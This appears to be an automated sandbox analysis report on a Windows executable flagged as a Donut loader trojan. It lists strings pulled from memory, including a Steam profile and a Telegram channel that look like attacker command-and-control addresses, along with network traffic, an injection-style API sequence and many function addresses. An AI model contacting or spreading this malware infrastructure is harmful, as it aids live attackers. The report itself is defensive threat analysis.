Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930/badges
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930/inventory/
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930dll
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930e
Source: 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199619938930e7
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://steamcommunity.com/workshop/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://storage.ape.yandex.net/get/browser/install
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://storage.ape.yandex.net/get/browser/install?ui=&result=cancelled&time=&download_time=&install
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/about/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/explore/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/legal/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/mobile
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/news/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/stats/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: 0x001900000002ab40-59.exe, 0x001900000002ab40-59.exe, 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724819264.0000000005E30000.00000004.00001000.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725040619.0000000007676000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://t.me/asdfghjrrewqqqqtfg
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: 0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: 0x001900000002ab40-59.exe	String found in binary or memory: https://yandex.Arial(

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 104.102.42.29:443 -> 192.168.2.10:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.10:49709 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.2.0x001900000002ab40-59.exe.5942544.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 1.2.0x001900000002ab40-59.exe.5942544.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown
Source: 00000001.00000002.1724191152.0000000005940000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe

Code function: 1_2_059A0A87 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,

1_2_059A0A87

Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00875190	1_2_00875190
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00875590	1_2_00875590
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E7610	1_2_008E7610
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087C0C0	1_2_0087C0C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CA000	1_2_008CA000
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E0070	1_2_008E0070
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008781D0	1_2_008781D0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0083C170	1_2_0083C170
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008DE200	1_2_008DE200
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0090A224	1_2_0090A224
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087E240	1_2_0087E240
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EE260	1_2_008EE260
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008B2270	1_2_008B2270
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CE380	1_2_008CE380
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008B63B0	1_2_008B63B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008224C0	1_2_008224C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F0440	1_2_008F0440
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008805B0	1_2_008805B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008825C0	1_2_008825C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EE5D0	1_2_008EE5D0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009065FA	1_2_009065FA
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008B65E0	1_2_008B65E0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D05F0	1_2_008D05F0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008FE570	1_2_008FE570
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008FA680	1_2_008FA680
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0086E6C0	1_2_0086E6C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008626F0	1_2_008626F0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087C790	1_2_0087C790
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008BA790	1_2_008BA790
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008567C0	1_2_008567C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087E8A0	1_2_0087E8A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F08A0	1_2_008F08A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D0850	1_2_008D0850
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009269DE	1_2_009269DE
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00852960	1_2_00852960
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F4970	1_2_008F4970
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00824A80	1_2_00824A80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00844A90	1_2_00844A90
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00822AB0	1_2_00822AB0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00878AD0	1_2_00878AD0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008AAAF0	1_2_008AAAF0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D8AF0	1_2_008D8AF0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00850A00	1_2_00850A00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00930A00	1_2_00930A00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0092AA7A	1_2_0092AA7A
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E6B90	1_2_008E6B90
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008C8BE0	1_2_008C8BE0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F8B00	1_2_008F8B00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D6B20	1_2_008D6B20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008A0B30	1_2_008A0B30
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0086AB50	1_2_0086AB50
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00870C80	1_2_00870C80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0084EC90	1_2_0084EC90
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0092ECB0	1_2_0092ECB0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008FACB0	1_2_008FACB0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F8CC0	1_2_008F8CC0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00880C20	1_2_00880C20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00850C40	1_2_00850C40
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D6C70	1_2_008D6C70
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008C8DE0	1_2_008C8DE0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0085ED70	1_2_0085ED70
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E8E20	1_2_008E8E20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D2E30	1_2_008D2E30
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0089CE40	1_2_0089CE40
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00822E57	1_2_00822E57
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087CE60	1_2_0087CE60
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CEE60	1_2_008CEE60
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00928E62	1_2_00928E62
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0085CFF0	1_2_0085CFF0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0083CF10	1_2_0083CF10
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D6F50	1_2_008D6F50
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F1080	1_2_008F1080
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E70D0	1_2_008E70D0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F7000	1_2_008F7000
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008A1010	1_2_008A1010
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008C9030	1_2_008C9030
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0083F040	1_2_0083F040
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D1070	1_2_008D1070
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008431C0	1_2_008431C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D71C0	1_2_008D71C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008D1110	1_2_008D1110
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0085B130	1_2_0085B130
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008A9140	1_2_008A9140
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00855170	1_2_00855170
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00881290	1_2_00881290
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008B12C0	1_2_008B12C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EB2C0	1_2_008EB2C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008FD250	1_2_008FD250
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0084B3B0	1_2_0084B3B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008753C0	1_2_008753C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008C93E0	1_2_008C93E0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F13E0	1_2_008F13E0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008FB310	1_2_008FB310
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0085F360	1_2_0085F360
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00865480	1_2_00865480
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008C9490	1_2_008C9490
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EF4A0	1_2_008EF4A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087D530	1_2_0087D530
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00821540	1_2_00821540
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00875540	1_2_00875540
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00869550	1_2_00869550
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008A5680	1_2_008A5680
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008AF690	1_2_008AF690
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0088B6A0	1_2_0088B6A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F1600	1_2_008F1600
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00873670	1_2_00873670
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0083F7B0	1_2_0083F7B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008ED7D0	1_2_008ED7D0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_009098A0	1_2_009098A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008218B0	1_2_008218B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008538C0	1_2_008538C0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087F8D0	1_2_0087F8D0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E58F0	1_2_008E58F0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00861860	1_2_00861860
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008699A0	1_2_008699A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0088D9A0	1_2_0088D9A0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E39B0	1_2_008E39B0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008219E0	1_2_008219E0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087B9F0	1_2_0087B9F0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00881900	1_2_00881900
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F1930	1_2_008F1930
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00905969	1_2_00905969
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00825A80	1_2_00825A80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00875A80	1_2_00875A80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0089DA80	1_2_0089DA80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00907ACA	1_2_00907ACA
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008CBAF0	1_2_008CBAF0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00821B90	1_2_00821B90
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008E7BD0	1_2_008E7BD0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00823B00	1_2_00823B00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0083DB20	1_2_0083DB20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00853B60	1_2_00853B60
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00853C80	1_2_00853C80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0085FCC0	1_2_0085FCC0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087DC00	1_2_0087DC00
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008A9C70	1_2_008A9C70
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EBDC0	1_2_008EBDC0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00901DE0	1_2_00901DE0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00837D20	1_2_00837D20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00843D20	1_2_00843D20
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00849E90	1_2_00849E90
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F9ED0	1_2_008F9ED0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008B7EF0	1_2_008B7EF0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00873E30	1_2_00873E30
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008EDE40	1_2_008EDE40
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008F3E60	1_2_008F3E60
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00873F80	1_2_00873F80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008ADF80	1_2_008ADF80
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0084DFA0	1_2_0084DFA0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0089BFB0	1_2_0089BFB0
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0087FF40	1_2_0087FF40
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_008DBF40	1_2_008DBF40
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_00881F60	1_2_00881F60
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0594049B	1_2_0594049B
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_059A0A87	1_2_059A0A87
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_059625B4	1_2_059625B4
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05946450	1_2_05946450
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0596C7C8	1_2_0596C7C8
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0594469A	1_2_0594469A
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_05940000	1_2_05940000
Source: C:\Users\user\Desktop\0x001900000002ab40-59.exe	Code function: 1_2_0597C3B2	1_2_0597C3B2
